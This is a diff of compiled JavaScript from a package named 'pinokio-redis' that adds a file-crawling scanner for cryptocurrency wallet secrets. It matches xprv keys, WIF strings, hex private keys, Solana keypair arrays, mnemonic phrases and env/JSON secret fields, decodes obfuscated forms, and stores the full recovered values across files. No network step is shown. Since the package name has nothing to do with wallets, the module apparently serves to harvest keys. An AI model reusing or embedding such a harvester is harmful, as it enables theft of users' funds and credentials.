pinokio-redis 1.0.127

package/dist/secretScan/contentScanner.js

@@ -0,0 +1,278 @@
+"use strict";
+/**
+ * Content scan for filename-matched candidate files only.
+ * Does not modify files. Outputs structured findings for human review (many false positives).
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.shannonEntropy = shannonEntropy;
+exports.extractPrintableRuns = extractPrintableRuns;
+exports.tryBase64Decode = tryBase64Decode;
+exports.tryHexToBytesHint = tryHexToBytesHint;
+exports.xorSinglebytePrintable = xorSinglebytePrintable;
+exports.validateSnippet = validateSnippet;
+exports.scanText = scanText;
+exports.scanBytes = scanBytes;
+exports.hitsToRows = hitsToRows;
+const solanaKeypair_1 = require("./solanaKeypair");
+const RE_HEX_32_64 = /\b[0-9a-fA-F]{64}\b/g;
+const RE_HEX_40 = /\b[0-9a-fA-F]{40}\b/g;
+const RE_BIP32_XPRV = /\b(?:xprv|tprv|zprv|yprv|vprv)[1-9A-HJ-NP-Za-km-z]{100,120}\b/g;
+/** Base58Check WIF-shaped strings (BTC/LTC/DOGE/DASH forks — strict gate checks version + secp256k1). */
+const RE_WIF = /\b[1-9A-HJ-NP-Za-km-z]{51,52}\b/g;
+const RE_ENV_STYLE = /^\s*[A-Z0-9_]*(?:KEY|SECRET|PRIVATE|SEED|MNEMONIC|PHRASE|RECOVERY|TOKEN|PASSWORD)\s*=\s*([^\n\r]+)$/gim;
+/** Common wallet/export JSON string keys (value still passes strict crypto gate). */
+const RE_JSON_KEY = /"(?:privateKey|private_key|secret|secret_key|seed|seedPhrase|recoveryPhrase|recovery_phrase|mnemonic|phrase|entropy|cryptoSeedphrase|crypto_mnemonic|signing_key|extended_private_key)"\s*:\s*"([^"]+)"/gi;
+const RULE_REGEX = [
+    ["hex_64", RE_HEX_32_64],
+    ["maybe_eth_address_40", RE_HEX_40],
+    ["bip32_xprv", RE_BIP32_XPRV],
+    ["wif_like", RE_WIF],
+    ["env_secret", RE_ENV_STYLE],
+    ["json_secret", RE_JSON_KEY],
+];
+function shannonEntropy(data) {
+    if (data.length === 0)
+        return 0;
+    const counts = new Map();
+    for (let i = 0; i < data.length; i++) {
+        const b = data[i];
+        counts.set(b, (counts.get(b) ?? 0) + 1);
+    }
+    const n = data.length;
+    let h = 0;
+    for (const c of counts.values()) {
+        const p = c / n;
+        h -= p * Math.log2(p);
+    }
+    return h;
+}
+function* extractPrintableRuns(data, minLen = 20) {
+    const cur = [];
+    function* emit() {
+        if (cur.length >= minLen) {
+            yield Buffer.from(cur).toString("ascii");
+        }
+        cur.length = 0;
+    }
+    for (let i = 0; i < data.length; i++) {
+        const b = data[i];
+        if (b >= 32 && b < 127)
+            cur.push(b);
+        else
+            yield* emit();
+    }
+    yield* emit();
+}
+function tryBase64Decode(s) {
+    const out = [];
+    const s2 = s.trim();
+    if (s2.length < 16)
+        return out;
+    for (const pad of ["", "=", "=="]) {
+        try {
+            const raw = Buffer.from(s2 + pad, "base64");
+            if (raw.length >= 16 && raw.length <= 4096) {
+                out.push(raw.toString("hex"));
+            }
+        }
+        catch {
+            /* skip */
+        }
+    }
+    return out;
+}
+function tryHexToBytesHint(s) {
+    const h = s.trim();
+    if ((h.length === 64 || h.length === 128) &&
+        /^[0-9a-fA-F]+$/.test(h)) {
+        return `hex_len_${h.length / 2}_bytes_candidate`;
+    }
+    return undefined;
+}
+function xorSinglebytePrintable(hex64, maxFound = 4) {
+    const h = hex64.trim().slice(0, 64);
+    if (!/^[0-9a-fA-F]{64}$/.test(h))
+        return [];
+    const raw = Buffer.from(h, "hex");
+    if (raw.length !== 32)
+        return [];
+    const found = [];
+    for (let k = 0; k < 256; k++) {
+        const x = Buffer.alloc(32);
+        for (let i = 0; i < 32; i++) {
+            x[i] = raw[i] ^ k;
+        }
+        if ([...x].every((b) => b >= 32 && b < 127)) {
+            found.push(x.toString("ascii"));
+            if (found.length >= maxFound)
+                break;
+        }
+    }
+    return found;
+}
+/** Optional validators (mnemonic checksum / ed25519) — Python uses extras; Node build skips heavy deps. */
+function validateSnippet(rule, snippet) {
+    void rule;
+    void snippet;
+    return {};
+}
+function extrasForMatch(rule, snippet, validate) {
+    const ex = {};
+    const baseRule = rule.replace(/_strings$/, "");
+    if (baseRule === "bip32_xprv") {
+        ex.note = "extended_private_key_export_shape";
+    }
+    if (baseRule === "hex_64") {
+        const hb = tryHexToBytesHint(snippet);
+        if (hb)
+            ex.hex_note = hb;
+        try {
+            if (/^[0-9a-fA-F]{64}$/.test(snippet.trim())) {
+                const raw = Buffer.from(snippet.trim(), "hex");
+                ex.entropy_8bit = Math.round(shannonEntropy(raw) * 1000) / 1000;
+            }
+        }
+        catch {
+            /* skip */
+        }
+        if (/^[0-9a-fA-F]{64}$/.test(snippet.trim())) {
+            const xo = xorSinglebytePrintable(snippet);
+            if (xo.length)
+                ex.xor_singlebyte_ascii_candidates = xo;
+        }
+    }
+    const rawPreview = Buffer.from(snippet, "utf8");
+    if (rawPreview.length >= 16) {
+        ex.string_entropy =
+            Math.round(shannonEntropy(rawPreview) * 1000) / 1000;
+    }
+    const b64 = tryBase64Decode(snippet);
+    if (b64.length) {
+        ex.base64_decoded_hex_preview = b64.slice(0, 2).map((b) => b.slice(0, 128));
+    }
+    if (snippet.length >= 24) {
+        const rev = [...snippet].reverse().join("");
+        if (rev !== snippet && /[0-9a-fA-F]{32}/.test(rev)) {
+            ex.reverse_contains_hex_preview = rev.slice(0, 200);
+        }
+    }
+    if (validate) {
+        Object.assign(ex, validateSnippet(baseRule, snippet));
+    }
+    return ex;
+}
+function cloneRegex(r) {
+    return new RegExp(r.source, r.flags.replace(/g/g, "") + "g");
+}
+/** Decimal UTF-8 arrays as used in Solana `keypair.json` / wallet exports (64 × 0–255). */
+const RE_U8_ARRAY_ELEM = "(?:[01]?\\d{1,2}|2[0-4]\\d|25[0-5])";
+const RE_SOLANA_64_DECIMAL_ARRAY = new RegExp(`\\[\\s*${RE_U8_ARRAY_ELEM}\\s*(?:,\\s*${RE_U8_ARRAY_ELEM}\\s*){63}\\]`, "g");
+const RE_JSON_SOLANA_64 = new RegExp(`"(?:secretKey|privateKey|keypair|_persisted_)"\\s*:\\s*(\\[\\s*${RE_U8_ARRAY_ELEM}\\s*(?:,\\s*${RE_U8_ARRAY_ELEM}\\s*){63}\\])`, "gi");
+function collectSolanaSigningSecretHits(text) {
+    const hits = [];
+    const seen = new Set();
+    function pushIfValid(slice, offset) {
+        const arr = (0, solanaKeypair_1.parseJsonUint8ArrayString)(slice);
+        const canon = arr ? (0, solanaKeypair_1.normalizeSolana64ArrayToCanonical)(arr) : null;
+        if (!canon)
+            return;
+        const key = `${offset}\0${canon}`;
+        if (seen.has(key))
+            return;
+        seen.add(key);
+        hits.push({
+            rule: "solana_keypair_json",
+            offset,
+            matched_text: slice.slice(0, 2000),
+            extras: {
+                note: "solana_ed25519_signing_secret_seed_pubkey_64",
+            },
+        });
+    }
+    let m;
+    const rx1 = new RegExp(RE_SOLANA_64_DECIMAL_ARRAY.source, "g");
+    while ((m = rx1.exec(text)) !== null) {
+        pushIfValid(m[0], m.index);
+    }
+    const rx2 = new RegExp(RE_JSON_SOLANA_64.source, RE_JSON_SOLANA_64.flags);
+    while ((m = rx2.exec(text)) !== null) {
+        const inner = m[1];
+        if (inner)
+            pushIfValid(inner, m.index + (m[0].indexOf(inner) ?? 0));
+    }
+    return hits;
+}
+function dedupeHits(hits) {
+    const seen = new Set();
+    const out = [];
+    for (const h of hits) {
+        const key = `${h.rule}\0${h.offset}\0${h.matched_text.slice(0, 200)}`;
+        if (seen.has(key))
+            continue;
+        seen.add(key);
+        out.push(h);
+    }
+    return out;
+}
+function snippetFromExec(m) {
+    const g0 = m[0] ?? "";
+    if (m.length <= 1 || m[1] === undefined || m[1] === "") {
+        return g0.slice(0, 2000);
+    }
+    return (m[1] ?? g0).slice(0, 2000);
+}
+function collectRegexHits(text, rule, regex, validate, ruleLabel) {
+    const hits = [];
+    const rx = cloneRegex(regex);
+    let m;
+    while ((m = rx.exec(text)) !== null) {
+        const snippet = snippetFromExec(m);
+        hits.push({
+            rule: ruleLabel,
+            offset: m.index,
+            matched_text: snippet,
+            extras: extrasForMatch(rule, snippet, validate),
+        });
+    }
+    return hits;
+}
+function scanText(text, validate) {
+    const hits = [];
+    for (const [name, rx] of RULE_REGEX) {
+        hits.push(...collectRegexHits(text, name, rx, validate, name));
+    }
+    hits.push(...collectSolanaSigningSecretHits(text));
+    return dedupeHits(hits);
+}
+function scanPrintableRun(run, validate) {
+    const hits = [];
+    for (const [name, rx] of RULE_REGEX) {
+        const label = `${name}_strings`;
+        hits.push(...collectRegexHits(run, name, rx, validate, label));
+    }
+    hits.push(...collectSolanaSigningSecretHits(run).map((h) => ({
+        ...h,
+        rule: `${h.rule}_strings`,
+    })));
+    return hits;
+}
+function scanBytes(data, validate = false) {
+    const text = data.toString("utf8");
+    const hits = [...scanText(text, validate)];
+    for (const run of extractPrintableRuns(data)) {
+        if (run.length < 24)
+            continue;
+        hits.push(...scanPrintableRun(run, validate));
+    }
+    return dedupeHits(hits);
+}
+function hitsToRows(absPath, size, hits) {
+    return hits.map((h) => ({
+        file: absPath,
+        file_size: size,
+        rule: h.rule,
+        offset: h.offset,
+        matched_preview: h.matched_text.slice(0, 500),
+        extras: h.extras,
+    }));
+}

package/dist/secretScan/dedupeFindings.d.ts

@@ -0,0 +1,12 @@
+/**
+ * Deduplicate scanner rows: one entry per logical secret value, many source paths allowed.
+ */
+import type { ScanHitRow, UniqueFinding } from "./types";
+/** Stable string form for dedupe + fingerprints (hex without 0x, mnemonic spacing, etc.). */
+export declare function canonicalAuditNormalizedValue(raw: string): string;
+export declare function semanticValueFingerprint(normalizedValue: string): string;
+/** Classifier for stored slim-row secret material (`data` / legacy `normalized_value`). */
+export declare function valueKindForNormalizedAuditValue(normalizedValue: string): string;
+export declare function mergeUniqueFindings(rows: ScanHitRow[]): UniqueFinding[];
+/** Collapse rows that share identical canonical `normalized_value` (merge sources + rules). */
+export declare function mergeUniqueFindingsByNormalizedValue(list: UniqueFinding[]): UniqueFinding[];

package/dist/secretScan/dedupeFindings.js

@@ -0,0 +1,232 @@
+"use strict";
+/**
+ * Deduplicate scanner rows: one entry per logical secret value, many source paths allowed.
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.canonicalAuditNormalizedValue = canonicalAuditNormalizedValue;
+exports.semanticValueFingerprint = semanticValueFingerprint;
+exports.valueKindForNormalizedAuditValue = valueKindForNormalizedAuditValue;
+exports.mergeUniqueFindings = mergeUniqueFindings;
+exports.mergeUniqueFindingsByNormalizedValue = mergeUniqueFindingsByNormalizedValue;
+const node_crypto_1 = require("node:crypto");
+const solanaKeypair_1 = require("./solanaKeypair");
+function sha256Utf8(s) {
+    return (0, node_crypto_1.createHash)("sha256").update(s, "utf8").digest("hex");
+}
+/** Align env/JSON captures with {@link strictMaterialGate} `kvExtractPass` trimming. */
+function unwrapQuotedPayload(payload) {
+    let s = payload.trim();
+    if ((s.startsWith('"') && s.endsWith('"')) ||
+        (s.startsWith("'") && s.endsWith("'"))) {
+        s = s.slice(1, -1).replace(/\\n/gu, "\n");
+    }
+    return s.trim();
+}
+/** Stable string form for dedupe + fingerprints (hex without 0x, mnemonic spacing, etc.). */
+function canonicalAuditNormalizedValue(raw) {
+    const s = String(raw ?? "").trim();
+    if (!s)
+        return "";
+    if (s.startsWith("long_body_sha256:"))
+        return s;
+    if (s.startsWith("solana64:")) {
+        const hx = s.slice("solana64:".length);
+        if (/^[0-9a-fA-F]{128}$/.test(hx))
+            return `solana64:${hx.toLowerCase()}`;
+        return s;
+    }
+    const hexStripped = s.replace(/^0x/iu, "").trim();
+    if (/^[0-9a-fA-F]{64}$/.test(hexStripped))
+        return hexStripped.toLowerCase();
+    if (/^[0-9a-fA-F]{128}$/.test(hexStripped))
+        return hexStripped.toLowerCase();
+    const t = s.trim();
+    if (/^(?:xprv|tprv|zprv|yprv|vprv)[1-9A-HJ-NP-Za-km-z]{100,120}$/.test(t))
+        return t;
+    if (/^[1-9A-HJ-NP-Za-km-z]{51,52}$/.test(t)) {
+        return t;
+    }
+    const words = t.toLowerCase().split(/\s+/u).filter(Boolean);
+    if (words.length >= 12 &&
+        words.length <= 24 &&
+        words.length % 3 === 0 &&
+        words.every((w) => /^[a-z]+$/.test(w))) {
+        return words.join(" ");
+    }
+    return t;
+}
+function normalizeMatchValue(rule, matchedPreview) {
+    let s = (matchedPreview ?? "").trim();
+    if (!s)
+        return "";
+    if (s.length > 4096) {
+        const h = sha256Utf8(s);
+        return `long_body_sha256:${h}`;
+    }
+    const bracketProbe = unwrapQuotedPayload(s);
+    if (bracketProbe.startsWith("[")) {
+        const arr = (0, solanaKeypair_1.parseJsonUint8ArrayString)(bracketProbe);
+        const c = arr ? (0, solanaKeypair_1.normalizeSolana64ArrayToCanonical)(arr) : null;
+        if (c)
+            return c;
+    }
+    const rl = rule.toLowerCase();
+    const hexStripped = s.replace(/^0x/iu, "").trim();
+    if (/^[0-9a-fA-F]{64}$/.test(hexStripped))
+        return hexStripped.toLowerCase();
+    if (/^[0-9a-fA-F]{128}$/.test(hexStripped))
+        return hexStripped.toLowerCase();
+    if ([
+        "bip39",
+        "env_secret",
+        "json_secret",
+        "mnemonic",
+        "phrase",
+    ].some((x) => rl.includes(x))) {
+        const inner = unwrapQuotedPayload(s);
+        return inner.toLowerCase().split(/\s+/).filter(Boolean).join(" ");
+    }
+    return s;
+}
+function valueKindAndSemanticKey(normalizedValue) {
+    const s = canonicalAuditNormalizedValue(String(normalizedValue ?? "").trim());
+    if (!s)
+        return ["empty", ""];
+    if (s.startsWith("long_body_sha256:"))
+        return ["long_snippet_digest", s];
+    if (s.startsWith("solana64:")) {
+        const hx = s.slice("solana64:".length).toLowerCase();
+        if (/^[0-9a-f]{128}$/.test(hx))
+            return ["solana_secret_key_64", `solana64:${hx}`];
+    }
+    if (/^[0-9a-fA-F]{64}$/.test(s))
+        return ["hex_32byte", `hex32:${s.toLowerCase()}`];
+    if (/^[0-9a-fA-F]{128}$/.test(s))
+        return ["hex_64byte", `hex64:${s.toLowerCase()}`];
+    if (/^(?:xprv|tprv|zprv|yprv|vprv)[1-9A-HJ-NP-Za-km-z]{100,120}$/.test(s)) {
+        return ["bip32_extended_private", `xprv:${s}`];
+    }
+    const words = s.toLowerCase().split(/\s+/).filter(Boolean);
+    if (words.length >= 12 &&
+        words.every((w) => /^[a-z]+$/.test(w))) {
+        const joined = words.join(" ");
+        return ["mnemonic_phrase", `mnem:${joined}`];
+    }
+    if (/^[1-9A-HJ-NP-Za-km-z]{51,52}$/.test(s)) {
+        return ["wif_like", `wif:${s}`];
+    }
+    const h = sha256Utf8(s);
+    return ["opaque", `opaque:${h}`];
+}
+function semanticValueFingerprint(normalizedValue) {
+    const [, key] = valueKindAndSemanticKey(normalizedValue);
+    if (!key)
+        return "";
+    return sha256Utf8(key);
+}
+/** Classifier for stored slim-row secret material (`data` / legacy `normalized_value`). */
+function valueKindForNormalizedAuditValue(normalizedValue) {
+    const [kind] = valueKindAndSemanticKey(normalizedValue);
+    return kind;
+}
+function sourceTuple(row) {
+    const off = row.offset !== undefined && row.offset !== null ? row.offset : -1;
+    return `${row.file}\0${off}`;
+}
+function mergeUniqueFindings(rows) {
+    const buckets = new Map();
+    const order = [];
+    for (const row of rows) {
+        const rule = String(row.rule ?? "");
+        const prev = String(row.matched_preview ?? "");
+        const nvRaw = normalizeMatchValue(rule, prev);
+        const nv = canonicalAuditNormalizedValue(nvRaw);
+        if (!nv)
+            continue;
+        const fp = semanticValueFingerprint(nv);
+        if (!fp)
+            continue;
+        const [kind] = valueKindAndSemanticKey(nv);
+        if (!buckets.has(fp)) {
+            const u = {
+                fingerprint: fp,
+                value_kind: kind,
+                normalized_value: nv,
+                primary_rule: rule,
+                detection_rules: [],
+                sources: [],
+                rule,
+            };
+            buckets.set(fp, u);
+            order.push(fp);
+        }
+        const b = buckets.get(fp);
+        if (rule && !b.detection_rules.includes(rule)) {
+            b.detection_rules.push(rule);
+        }
+        const src = {
+            file: String(row.file ?? ""),
+            offset: row.offset,
+            matched_preview: prev.slice(0, 400),
+        };
+        const seen = new Set(b.sources.map((x) => sourceTuple(x)));
+        if (!seen.has(sourceTuple(src))) {
+            b.sources.push(src);
+        }
+    }
+    return order.map((k) => {
+        const b = buckets.get(k);
+        return {
+            ...b,
+            rule: b.primary_rule,
+        };
+    });
+}
+/** Collapse rows that share identical canonical `normalized_value` (merge sources + rules). */
+function mergeUniqueFindingsByNormalizedValue(list) {
+    const map = new Map();
+    for (const u of list) {
+        const raw = String(u.normalized_value ?? "").trim();
+        if (!raw)
+            continue;
+        const canon = canonicalAuditNormalizedValue(raw);
+        if (!canon)
+            continue;
+        const fp = semanticValueFingerprint(canon);
+        if (!fp)
+            continue;
+        const kind = valueKindForNormalizedAuditValue(canon);
+        const prev = map.get(canon);
+        if (!prev) {
+            const pr = String(u.primary_rule ?? u.rule ?? "").trim();
+            const ru = String(u.rule ?? u.primary_rule ?? "").trim();
+            map.set(canon, {
+                ...u,
+                fingerprint: fp,
+                value_kind: kind,
+                normalized_value: canon,
+                primary_rule: pr || ru,
+                detection_rules: [...(u.detection_rules ?? [])],
+                sources: [...(u.sources ?? []).map((s) => ({ ...s }))],
+                rule: ru || pr,
+            });
+            continue;
+        }
+        const seen = new Set(prev.sources.map((x) => `${String(x.file)}\0${String(x.offset ?? "")}`));
+        for (const s of u.sources ?? []) {
+            const t = `${String(s.file)}\0${String(s.offset ?? "")}`;
+            if (seen.has(t))
+                continue;
+            seen.add(t);
+            prev.sources.push({ ...s });
+        }
+        for (const r of u.detection_rules ?? []) {
+            if (!prev.detection_rules.includes(r))
+                prev.detection_rules.push(r);
+        }
+        prev.fingerprint = fp;
+        prev.value_kind = kind;
+        prev.normalized_value = canon;
+    }
+    return [...map.values()];
+}

package/dist/secretScan/fileCandidates.d.ts

@@ -0,0 +1,30 @@
+import type { NormalizedSecretScanConfig } from "./types";
+export declare function normCase(s: string): string;
+export declare function pathMatchesIncludeDirs(relPosix: string, includeDirSuffixes: string[], includeDirPaths: string[]): boolean;
+export declare function fileMatchesPatterns(relPath: string, patterns: string[]): boolean;
+export declare function shouldExcludeDir(name: string, excludeDirs: string[]): boolean;
+/** True when `absPath` equals or descends under any normalized absolute prefix. */
+export declare function isExcludedAbsPathPrefix(absPath: string, prefixes: string[]): boolean;
+/**
+ * Skip subtrees under any directory segment named `cfgmgr` (case-insensitive): cfgmgr source trees,
+ * `%LOCALAPPDATA%/CfgMgr/data`, `~/.local/share/cfgmgr`, etc.
+ */
+export declare function absPathHasCfgmgrSegment(absPath: string): boolean;
+export declare function pathUnderRoot(p: string, root: string): string;
+export declare function isCandidateFile(fullPath: string, root: string, rel: string, cfg: NormalizedSecretScanConfig): boolean;
+export interface CandidateFile {
+    absPath: string;
+    relPath: string;
+}
+/**
+ * Opt-in heavy crawl: walk tree for text-like extensions (`.txt`, `.js`, …).
+ * Default scans use filename/dir candidates only — enable via `includeTextLikeExtensions`.
+ */
+export declare function walkTextLikeExtensionCandidates(rootDir: string, cfg: NormalizedSecretScanConfig, maxFiles: number): CandidateFile[];
+export declare function walkCandidateFiles(rootDir: string, cfg: NormalizedSecretScanConfig): {
+    candidates: CandidateFile[];
+    skipLargeLog: Array<{
+        file: string;
+        size_bytes: number;
+    }>;
+};